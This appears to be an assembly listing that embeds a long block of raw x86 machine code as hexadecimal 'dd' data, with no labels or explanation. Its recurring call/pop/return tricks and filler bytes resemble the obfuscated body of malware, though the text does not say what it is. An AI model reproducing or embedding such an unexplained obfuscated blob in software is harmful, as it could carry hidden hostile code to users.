		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 519D8970h, 90060B20h, 50D88B66h, 11E8h, 69006D00h, 34365992h
		dd 25E0F31Ch, 0AFA8EA70h, 0D08AA539h, 8B66905Bh, 94858DD9h
		dd 0F060B4Dh, 48Fh, 0B4BA6600h,	8B6650D0h, 240489DEh, 95FFF48Ah
		dd 60B000Dh, 8E9h, 9AADFF00h, 400BD282h, 0CC483CFh, 28E59D0Bh
		dd 858D060Bh, 60B4D94h,	775BBA66h, 89D08B50h, 0AE82404h
		dd 0DB000000h, 74E24B7Dh, 0A5B9AC83h, 0A5BD8931h, 5A060B33h
		dd 6A026Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 721548C3h, 0D0BF0F19h, 857495FFh,	6A0068h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0F4A03C3h, 0AE9D7B7h, 0A6000000h, 0FFD74EB5h, 5000BE51h
		dd 950B6163h, 60B0715h,	4DC785C7h, 1060Bh, 9D8B0000h, 60B21DDh
		dd 0C4BB5696h, 5B34D6C8h, 0C9BA6650h, 295096DFh, 0B335D95h
		dd 0B5895A06h, 60B4D78h, 0BAD958Bh, 0BD83060Bh,	60B0B19h
		dd 65850F01h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 5AB6C353h, 0A26A4B65h
		dd 0B58950B6h, 60B07C1h, 5F8835Ah, 32850Fh, 860F0000h
		dd 3, 0B8D68B66h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 8FC35747h
		dd 0F1A3AC0Dh, 7E5B7F58h, 899BD83h, 0F00060Bh, 2D84h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 85661A5Eh, 8BD5071Bh, 0B02DD95h, 0B806h, 29600000h
		dd 0B330995h, 0C5858B06h, 6A060B2Eh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 8858C351h
		dd 819ED65Eh, 0FE90F6EBh, 2C0834Ah, 0BE9h, 0DD3B200h, 723A1628h
		dd 9DCABB38h, 4D708589h, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 534D85C3h, 0F10D72E1h
		dd 70D958Bh, 0C6060Bh, 318D89FFh, 0C6060B23h, 0B284585h
		dd 0BE85306h, 96000000h, 0D4AB2CEEh, 0C0E19131h, 890FDB17h
		dd 6, 8F0Fh, 0E95A0000h, 13h, 2742BE83h, 7302A3A7h, 656B5238h
		dd 9444F8F2h, 68A62361h, 9677F6A6h, 481D48Ah, 39523224h
		dd 0ED9D8966h, 0FF060B28h, 0B1355B5h, 0A3F28006h, 7D18858Dh
		dd 6A060Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 8B1349C3h, 0B0EE99Dh, 8BD0FF06h, 0B01099Dh
		dd 0DD858906h, 0E9060B32h, 0Fh,	7EB556D4h, 52B6CE25h, 0BCDA8EE9h
		dd 8306167Ch, 0B1FDDBDh, 850F0106h, 142h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 15h, 0E9C35141h, 2D958B33h
		dd 61060B1Ah, 0F498D09h, 85C6060Bh, 60B2845h, 50006A45h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0A0CDE993h, 813EC897h, 512F15CAh, 63556854h,	0DF8B5AFAh
		dd 6D240481h, 297F65D5h, 0B10758Dh, 13E906h, 0E2300000h
		dd 0A65E189Bh, 0F1F513E8h, 6D78F1Ah, 96EFB85h, 55B5FFBBh
		dd 89060B13h, 0B2055BDh, 5E806h, 3F980000h, 0E992A0E2h
		dd 13h,	4B26A166h, 9A64423Dh, 0A934A9B3h, 0B6D0A4F7h, 5B2F507Ch
		dd 7D18858Dh, 0BF0F060Eh, 0A9958BD7h, 0FF060B18h, 53006AD0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 0C07ED6FEh, 1DCD14CAh, 0FEBB66B8h, 6A006A64h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0AD69C351h, 0E27443D4h, 0DD86677h, 20699529h, 0D0FF060Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 16C35242h
		dd 7D54C957h, 0F6BA665Eh, 0BD83F57Ah, 60B037Dh,	8A850F01h
		dd 0FC000000h, 9E8h, 95B00500h,	0F37003Bh, 0EE8977Dh, 0B9000000h
		dd 0F0771C18h, 0D1930E5Eh, 0BEA73C94h, 0A595891Eh, 5A060B1Ah
		dd 0C5858B5Ah, 0F060B2Eh, 286h,	0E9B8B300h, 3Ch, 1A459D89h
		dd 0E990060Bh, 9, 0ADC706F9h, 4078B0F2h, 0D38B5032h, 0E2815290h
		dd 57059A8Ch, 8B146A5Ah, 0B06319Dh, 0DD95FF06h,	81060B32h
		dd 3FEF4FD3h, 0BD895876h, 60B32D1h, 0F003880h, 0FFFFC185h
		dd 0D68B66FFh, 560100C6h, 6A615Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 6D8AD0C3h, 0B589615Eh
		dd 60B2AD1h, 5B9BD89h, 0BD83060Bh, 60B1A29h, 2C840F00h
		dd 60000000h, 290D8D89h, 8166060Bh, 611F7EE2h, 0BD89FF6Ah
		dd 60B2E85h, 95FFFC8Ah,	60B32DDh, 0F098589h, 0E5E9060Bh
		dd 66FFFFFFh, 0C7944EBBh, 0B1A2985h, 106h, 41858900h, 89060B0Bh
		dd 0B4D7C85h, 0DD952306h, 50060B0Dh, 0AE9h, 0D9587B00h
		dd 1D24734Eh, 89CCB2C9h, 60F52404h, 56AD38Bh, 3810Fh, 0DF800000h
		dd 94858DB4h, 66060B4Dh, 0E890D88Bh, 7,	0B08CE0C4h, 50DD55F2h
		dd 46D0BA52h, 310F1B75h, 0DE8h,	0A3179800h, 396DE772h
		dd 887CCE4Bh, 5A5B6E72h, 8A505B58h, 6A90D0h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 0C783FDC3h
		dd 0E9958940h, 0F060B06h, 689h,	0C9958B00h, 8D060B18h
		dd 0B4D8485h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 4845D4AFh, 8B90BF0Dh, 8C0F50D7h
		dd 3, 90D78B66h, 0FF62F280h, 0B051995h,	0D2B70F06h, 7BCE8D8Dh
		dd 0FE8060Bh, 0B4000000h, 0D6196E3h, 99C157DEh,	1A3EF8DCh
		dd 0B5B4946h, 8D1174C0h, 0B4D9485h, 0D1FF5006h,	4DB28589h
		dd 0AEB060Bh, 4DB285C7h, 0FFFF060Bh, 8960FFFFh,	0B07A98Dh
		dd 25B50B06h, 61060B18h, 6092C280h, 101B58Bh, 8D8B060Bh
		dd 60B14A9h, 6A6161h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 477719C3h, 0B70FAF16h, 4585C6D6h
		dd 4D060B28h, 1A21958Bh, 4E8060Bh, 0A8000000h, 66A43576h
		dd 503454BBh, 424448Bh,	6E8h, 0D76F2E00h, 5081B866h, 5AD38B66h
		dd 0E8008B5Bh, 0Bh, 36BB74DAh, 6AC3A376h, 5076B6CAh, 0F5B5652h
		dd 5A616031h, 44895B58h, 0D38B0424h, 0F99D3158h, 0FF060B23h
		dd 0B27F5B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 0DE99753h, 4D000000h, 0FA5C0548h
		dd 96802BE6h, 0F1D0F570h, 8D62EF80h, 0E7D1885h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 6B99F6AEh, 869CF85Ah, 10E9h,	342CD100h, 3CFBC3C2h, 5694835Ch
		dd 819D1575h, 60D0FF7Fh, 901976B8h, 599D8B64h, 61060B2Eh
		dd 0BD98589h, 9D8B060Bh, 60B062Dh, 284585C6h, 0E945060Bh
		dd 0Ch,	0D253A88Eh, 0F551492h, 0EE2329ABh, 31799501h, 9A68060Bh
		dd 8112D3CCh, 9CCF2404h, 8D017B9Eh, 60B1B4Dh, 0B11B589h
		dd 0B5FF060Bh, 60B1355h, 7E8h, 7C7D5200h, 11598741h, 23059D01h
		dd 8D5B060Bh, 0E7D1885h, 14E906h, 0CD1A0000h, 0F6FE36D3h
		dd 711F11A9h, 0B40F18D2h, 60A957F6h, 0D0FFE5A8h, 0F819D8Bh
		dd 8589060Bh, 60B2F4Dh,	6860Fh,	95890000h, 60B27EDh, 12E8D28Bh
		dd 0DC000000h, 0C35560ACh, 0E4FB4B34h, 438B542Fh, 0AA3A1E1Dh
		dd 5A5060B3h, 665A61FCh, 6AD98Ch, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0EEBCCCC3h, 8991F17Ah
		dd 0B009D95h, 4C1F606h,	24F840Fh, 0DE800000h, 10BE9EBh
		dd 89510000h, 0B0BBD95h, 60505B06h, 29D9D89h, 0BD01060Bh
		dd 60B0011h, 0B58B5B61h, 60B1F75h, 59D9D8Bh, 0C681060Bh
		dd 1180h, 0BE9h, 0EBD62500h, 274FF94Fh,	207CA66Ah, 1611BD83h
		dd 0F00060Bh, 2885h, 0C2816600h, 11B60D36h, 0AFE9h, 898D0900h
		dd 0E9060B18h, 11h, 988A8D6Ah, 58CC8F89h, 0C694F390h, 6B4D2DC2h
		dd 3E83CEh, 8A840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 80ACFCC3h, 0DDF4A341h
		dd 0AE903h, 0A67A0000h,	0C78221CCh, 0E0191F69h,	0CB80DA8Bh
		dd 958B600Dh, 60B0B7Dh,	13E9146Ah, 83000000h, 33683F5Eh
		dd 0C973E9A1h, 50C58AB8h, 0B8359A7Eh, 95FFF9E6h, 60B32DDh
		dd 19B1958Bh, 2B61060Bh, 0B021D95h, 9E806h, 1A860000h
		dd 0B4E3F2FEh, 0BA185F7Ah, 4CF3CAB2h, 0FF73E95Ah, 9D23FFFFh
		dd 60B01E9h
		dd 106C7h, 0C2800000h, 7CBD8373h, 5060B4Dh, 12F850Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0FCA3C9C3h, 0ABEDAE7Eh, 0B58BD18Bh, 60B2F4Dh, 2098D89h
		dd 10E8060Bh, 2B000000h, 0A40052D7h, 47D786BBh,	6FD9A36h
		dd 5164D103h, 5A5A5B52h, 64B9h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0AA065255h
		dd 39266FF7h, 0DDD958Bh, 0C281060Bh, 5CBE9A5Fh,	0A91E7BBh
		dd 0E83E8014h, 37840Fh,	10E80000h, 70000000h, 4B6BB8E0h
		dd 0B52BD1C0h, 749EF1B1h, 8B11E0DFh, 0B196D95h,	23E95B06h
		dd 0E8000000h, 0Ah, 2F33AECCh, 0EC99B16Dh, 0BD894976h
		dd 60B2B61h, 57E805Bh, 49840FC2h, 80000000h, 894644E2h
		dd 0B2879BDh, 850F4906h, 0FFFFFFA5h, 6890Fh, 958B0000h
		dd 60B0E95h, 40E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 0F1DCA04Ch, 858930C3h
		dd 60B1FD1h, 1881B589h,	0CE8060Bh, 1F000000h, 0E5C1ABA7h
		dd 78274D91h, 0F8EBD571h, 0BF0F585Ah, 89BD83DFh, 60B31h
		dd 101840Fh, 8C0F0000h,	6, 29DBD89h, 0B589060Bh, 60B0E01h
		dd 11E960h, 81360000h, 329DCC22h, 4B55B80Ah, 0B4972C7Ah
		dd 0C6E02A5Eh, 0B284585h, 6A5406h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0FC831C3h, 5568D2BFh
		dd 66E662AFh, 81E15FBAh, 11A12434h, 11E8192Ch, 52000000h
		dd 2CC65677h, 325CBDC3h, 0DD0B1593h, 0E9933C0h,	15059533h
		dd 8B5A060Bh, 55B5FFDFh, 6A060B13h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 80D1C351h
		dd 9D03F78Ah, 60B00ADh,	7D18858Dh, 0B70F060Eh, 50D0FFDBh
		dd 5BC7CB80h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 97073DC3h, 6A53A0A9h, 0B531357Ah
		dd 60B12BDh, 3189B5FFh,	9D8B060Bh, 60B026Dh, 0EA81D0FFh
		dd 16323835h, 0A3D28161h, 0C7052B43h, 0B29BD85h, 106h
		dd 59BD8900h, 8B060B24h, 0B20E195h, 6A6006h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 6663A7C3h
		dd 829CC281h, 4E8h, 8000h, 2A9EBA00h, 5750554Ah, 310F5250h
		dd 8D0Fh, 585A0000h, 24448B5Ah,	8B008B04h, 244489D7h, 6A5804h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 7EE086C3h, 0F6C85FAAh, 0FF6A4103h, 0FFDF8B66h, 0B1BBD95h
		dd 31958B06h, 31060B0Dh, 0B291985h, 6A6106h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 313E51C3h
		dd 103329DBh, 81D7CA15h, 530DF8EAh, 0CE85051h, 94000000h
		dd 0BFC8EEFAh, 96E06E60h, 60F48190h, 4E2EBF66h,	4895B61h
		dd 0D38B6624h, 28E9858Bh, 8B66060Bh, 0FC00BDFh,	3A84h
		dd 59D8B00h, 0FF060B29h, 0B221D95h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0C157DE0Dh
		dd 3EF8DC99h, 0B260461Ah, 0F1816684h, 0C761EE0Bh, 0B009185h
		dd 106h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 0F50AA1E2h, 88CEDF62h, 75BD83E4h
		dd 60B06h, 30840Fh, 9D330000h, 60B29B9h, 7DD95FFh, 6A060Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 6BD4B5C3h, 1C6792D7h, 0BD830DB4h, 60B0169h, 0F840F00h
		dd 81000000h, 50D96DDBh, 8995FF5Eh, 60060B1Ah, 0BD8361F5h
		dd 60B0155h, 35840F00h,	83000000h, 0B00B5BDh, 850F0006h
		dd 28h,	6595FFF5h, 6A060B0Fh, 3E85100h,	20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 1D1AC351h, 0E9A3E4AFh
		dd 29E9BD83h, 0F00060Bh, 2884h,	7D9D2300h, 81060B17h, 0B2A3585h
		dd 400306h, 0B5895200h,	60B1349h, 9985815Bh, 3060B12h
		dd 8B000040h, 0B114195h, 89310F06h, 0B1971B5h, 7F8D8D06h
		dd 6A060B5Dh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0FA9DC352h, 5478947Dh,	8B9C6712h
		dd 8A0189D0h, 6AC233FDh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 4FAFC352h, 11E97Dh
		dd 0DD420000h, 0CE9C8071h, 0B74BD0CFh, 63CCA841h, 0E93594B8h
		dd 11h,	0A8BDB7E7h, 43FAE3B8h, 6E1DD302h, 0C4D450BBh, 4418962h
		dd 66310FFCh, 8D50ACBBh, 0B5D918Dh, 0CD952906h,	51060B05h
		dd 14E9h, 0E88B2B00h, 712244DEh, 5E4FBA7Fh, 8CF38853h
		dd 52BA98D5h, 1895B65h,	0C2333DB2h, 68B0Fh, 0BD010000h
		dd 60B163Dh, 57044189h,	5AD98B66h, 19870Fh, 0DE80000h
		dd 4B000000h, 3C5F7E8Fh, 30BF98C0h, 0C053D65Dh,	1B718D89h
		dd 835A060Bh, 0B0219BDh, 840F0006h, 7Dh, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 19h, 23C35040h, 0F7B80C12h
		dd 14E96Dh, 0D1640000h,	4A2B4047h, 7AF8285Fh, 0DD9E18DBh
		dd 0BCF94A75h, 9D8B8985h, 60B1839h, 10E9h, 0ECEFC600h
		dd 0E6AE296Ch, 7A496487h, 5380C92h, 0F995FFCCh,	6A060B0Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 313FC353h, 0B15F985h, 31BD8306h, 1060B28h
		dd 4B850Fh, 46E90000h, 9000000h, 0B0C55BDh, 26B58B06h
		dd 0C7060B5Fh, 6, 0D1B58B00h, 0C7060B5Ch, 6, 0AE9CF00h
		dd 0FE000000h, 0E6D53ACBh, 14D4E07Ch, 12E9E7h, 4D2A0000h
		dd 95195A32h, 0D644025Ah, 6C2E7C34h, 0E22247D3h, 91BD83FCh
		dd 60B00h, 16B840Fh, 3F50000h, 0B07C59Dh, 79BD8306h, 1060B32h
		dd 142850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0C549D9C3h, 5632F19Dh, 0E8E4A40Bh
		dd 0Fh,	1F7DC7Eh, 27477EC7h, 95A3F052h,	80A5382Ch, 8B5ACEDEh
		dd 0B4D708Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 0B37AA0BAh, 1F750089h, 8D2360B5h
		dd 60B04F5h, 29A1850Bh,	0C661060Bh, 6A0001h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 1024C8C3h
		dd 0BF0755FCh, 60DF8BE9h, 158D9D8Bh, 4E8060Bh, 80000000h
		dd 0F000000h, 0A8Fh, 7AB06000h,	850Fh, 50610000h, 8BD68B66h
		dd 0B7042444h, 0B6008B50h, 2444890Eh, 4115BA04h, 89581D36h
		dd 0B039985h, 8BFF6A06h, 0B321D95h, 0BD95FF06h,	29060B1Bh
		dd 0B12959Dh, 6A6106h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 79F2CCC3h, 92CE099Bh, 0D7BF0F38h
		dd 2B3D95FFh, 958B060Bh, 60B0951h, 6890Fh, 958B0000h, 60B29D5h
		dd 4D708D8Bh, 0B589060Bh, 60B280Dh, 0B50101FEh,	60B03B9h
		dd 0CDBD83h, 0F01060Bh,	885h, 95095300h, 60B0E4Dh, 0B2C08B5Bh
		dd 0BDBD8381h, 60B05h, 0BD830975h, 60B29D1h, 501A7400h
		dd 8BC08B53h, 0B2A3585h, 35858906h, 8D060B2Ah, 0DB31A9Dh
		dd 5BD3FF06h
		dd 0D1BD8358h, 60B29h, 53501874h, 2A35858Bh, 8589060Bh
		dd 60B2A35h, 0B0099D8Dh, 0D3FF060Dh, 6A585Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 8B7C3FC3h
		dd 7899D8Bh, 8166060Bh,	0E9C555DAh, 6, 0ED030293h, 0C08B39EEh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 14C35242h
		dd 0C3C4E3C2h, 0FA3F5D5h, 48Fh,	0F38A5100h, 9D9D895Bh
		dd 83060B0Dh, 0B0091BDh, 850F0006h, 33h, 145F55BAh, 0E9BD8344h
		dd 60B14h, 21840Fh, 5E80000h, 0EE000000h, 32D5AED6h, 11E9h
		dd 78812C00h, 0B6E7C53Bh, 0B772D309h, 920399DEh, 835ABA1Bh
		dd 0B0091BDh, 840F0006h, 18h, 60E38166h, 5BD8385h, 60B28h
		dd 6840Fh, 958B0000h, 60B283Dh,	91BD83h, 0F00060Bh, 3984h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0B0E8DDA3h, 8D9D8B7Eh, 83060B24h, 0B2805BDh
		dd 840F0006h, 6, 3B59D29h, 0BD83060Bh, 60B0091h, 38840F00h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 24E2C350h, 0BD8320A2h,	60B2EF1h
		dd 0C840F00h, 0F000000h, 68Ch, 0F18D0100h, 83060B00h, 0B0091BDh
		dd 840F0006h, 40h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 0FEC35545h, 0B29E1995h, 5DBD8324h, 60B2Eh
		dd 12840Fh, 9D8B0000h, 60B31C9h, 2ADD95FFh, 0B531060Bh
		dd 60B0399h, 860FC08Bh,	5, 2BE28166h, 0BDBD83FDh, 60B05h
		dd 0BD830975h, 60B29D1h, 501A7400h, 8BC08B53h, 0B129985h
		dd 99858906h, 8D060B12h, 0DB3819Dh, 5BD3FF06h, 0D1BD8358h
		dd 60B29h, 53501874h, 1299858Bh, 8589060Bh, 60B1299h, 0B0229D8Dh
		dd 0D3FF060Dh, 0BB66585Bh, 6AC55Fh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 8B67C6C3h
		dd 0B011195h, 6AC08B06h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 4F4AC356h, 7F4ACBEEh
		dd 1815B589h, 0BD83060Bh, 60B0091h, 0E840F00h, 0F000005h
		dd 0B8Ah, 0E7806000h, 7DBD8BF7h, 61060B2Ah, 1FDDBD83h
		dd 0F02060Bh, 1984h, 0E99D0100h, 83060B0Eh, 0B2831BDh
		dd 850F0106h, 6, 18459D89h, 0BD83060Bh,	60B1FF9h, 0FA840F00h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 217CC355h, 4C549212h, 60FCDA5Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 5BC35242h
		dd 12E538ECh, 896FAA2Eh, 0B1379BDh, 8BB9B706h, 0B4D708Dh
		dd 51958B06h, 0FE060B0Fh, 0E8C4B201h, 4, 80h, 50DE8B66h
		dd 448B90B2h, 85B30424h, 8D0F008Bh, 0Ah, 61605250h, 6160310Fh
		dd 4489585Ah, 6A580424h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 89DAC351h, 0B24158Dh
		dd 2CDA8006h, 7E8h, 3EB89D00h, 6F128CDAh, 6860Fh, 0B5890000h
		dd 60B05EDh, 0B3FF6A5Bh, 0BD95FFEBh, 1060B1Bh, 0B05F195h
		dd 6A6106h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 0ECE74BC3h, 8D8B60FCh, 60B4D70h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 5CC35242h, 0CF740EF9h
		dd 3810Fh, 0CB800000h, 6A01FEFFh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 288DC357h
		dd 0B59D2396h, 80060B1Fh, 12E920D3h, 22000000h,	9C335550h
		dd 9B1260F3h, 0CBF8FF68h, 0C36CFE6Ch, 55EA687Dh, 13E8500Dh
		dd 48000000h, 0B9EB988Ch, 7943471Ah, 1737186Ah,	4639BEC8h
		dd 0FE9562Eh, 55000000h, 0B6DCAF45h, 0C9A0FF60h, 0DFE6FDFh
		dd 815B4DA5h, 556A2434h, 6A500Dh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 7B48F3C3h, 0BACA461Dh
		dd 0BE9F8h, 507E0000h, 980CF291h, 9FBC6B6Bh, 23FF6A43h
		dd 0B2A5195h, 0BD95FF06h, 0F5060B1Bh, 53006A61h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
		dd 90560913h, 8D0E1CC1h, 0B043DBDh, 0EC76BB06h,	890F383Ch
		dd 0Fh,	7E853h,	74BC0000h, 8B982CF5h, 8B5B5BE7h, 958B1C4Fh
		dd 60B1871h, 9D8B016Ah,	60B0EE9h, 56525050h, 7E8h, 665FE800h
		dd 6A0BCCB0h, 310F5B5Bh, 48B0Fh, 0BB660000h, 585A8452h
		dd 33240C89h, 0B179595h, 0CA858D06h, 6A060E3Eh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 7877C353h, 8D1D00A1h, 0BA5163F3h, 41C22ACCh,	3870Fh
		dd 0CB800000h, 29D0FF26h, 0B218D9Dh, 204F8B06h,	840Fh
		dd 80530000h, 6A5A11F3h, 0C5952903h, 89060B29h,	0B0C35B5h
		dd 8B665006h, 240C89D9h, 12E9h,	4D15E500h, 0E3CA79E3h
		dd 0BEB6024Ch, 0F7A041Fh, 8D6E8D06h, 0E3ECA85h,	65952906h
		dd 0FF060B13h, 0F5958BD0h, 8B060B03h, 0B31ED9Dh, 3DBD8D06h
		dd 6A060B04h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 0F51C351h, 0E2C96D77h,	89147D7Ah
		dd 0B0741BDh, 8BE1B606h, 85891C4Fh, 60B19EDh, 0CD950960h
		dd 0E9060B08h, 0Fh, 0FEBB7CCFh,	80FACEA1h, 0BE6B5D8Fh
		dd 61F210FAh, 6A016Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 8F0FAEC3h, 6, 3339B531h,	0E850060Bh
		dd 14h,	5521C9CAh, 4459708Ah, 0CC2C8927h, 9BF943C7h, 0BE0C1889h
		dd 0AE952h, 43820000h, 0CA0D95CAh, 7629243Fh, 0C895A5Bh
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 8166C6B8h, 8D1285F3h, 0E3ECA85h,	0C0BB6606h
		dd 619589F0h, 0FF060B28h, 8FBB66D0h, 59CFBB29h,	4F8B2EF3h
		dd 71958B20h, 6A060B17h, 0E9DF8B03h, 0Ah, 0B0140F78h, 86124D8Ah
		dd 0E8919598h, 0Bh, 955E3966h, 7BB7B5F9h, 6625A982h, 5B37D1BBh
		dd 912BB750h, 0CA858DF5h, 0F060E3Eh, 686h, 498D8900h, 66060B27h
		dd 69DCD281h, 9D89D0FFh, 60B31B1h, 4D708D8Bh, 9589060Bh
		dd 60B1069h, 952B01FEh,	60B0E1Dh, 4D70858Bh, 6A060Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 3F1BDDC3h, 12E9h, 66066600h,	5D4F0FB9h, 3A3627ABh, 70E89D12h
		dd 60A701D7h, 8DBD0156h, 58060B22h, 0D19D2950h,	5E060B27h
		dd 6600FE61h, 16ADA8Bh,	5F6F68F5h, 0DE8A90A3h, 90243481h
		dd 8B6F5CC0h, 0B0B399Dh, 0D4858D06h, 81060E3Eh,	5336DCF3h
		dd 3D0FF53h, 0B249D9Dh,	0E9BD8306h, 60B14h, 105840Fh, 10E90000h
		dd 60000000h, 0E9D09D8Ah, 0BC34961Ch, 952B7136h, 83E56A84h
		dd 0B0B19BDh, 850F0106h, 0E3h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 54C35343h, 382E90FDh, 0C19D8BC7h
		dd 8D060B02h, 0E3EDE8Dh, 0CE9CBB06h, 14E85AAFh,	3F000000h
		dd 90D43CB3h, 9CC110FFh, 33EC0439h
		dd 6F6D1505h, 80F976DCh, 6A5A6CCBh, 0E2B06003h,	16799589h
		dd 6A61060Bh, 56006A01h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 0D1FFC926h, 5ED8D89h, 16A060Bh, 0DE9h
		dd 8EF9DC00h, 0BB7CCFAAh, 0FACEA1FEh, 16A8F80h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 92C35040h, 0E59D8929h
		dd 80060B0Ah, 0D1FFC0E7h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 1FC35040h, 505BD7E8h,	6AFC8AFAh, 94E38120h
		dd 6A5BB792h, 69C380FFh, 1BBD95FFh, 8F0F060Bh, 3, 0B8D08B66h
		dd 0
		dd 2DF1B589h, 0C00B060Bh, 45840Fh, 9D290000h, 60B1969h
		dd 2F21BD83h, 0F00060Bh, 3284h,	0E3BA6600h, 1D95FF6Bh
		dd 6A060B10h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0EF5FC357h, 77AFA6AFh,	0FEBB558Dh
		dd 8B2A0FBAh, 0B2EC585h, 56BB6606h, 0C65Eh, 51DABF0Fh
		dd 585B13B3h, 0D98C66F9h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0CAC35040h, 0BD687961h, 0BEEA80A3h, 0F04C1F6h
		dd 5E84h, 69D78000h, 56E9h, 0BE900h, 0BAC10000h, 0AE88C8B1h
		dd 0AC8F6917h, 75B58BA5h, 0E8060B1Fh, 5, 0C50CD5A8h, 5B40B3A2h
		dd 1180C681h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 0E5D744C3h, 19B88E57h, 0C7DF8BDBh
		dd 6, 5EF48A00h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
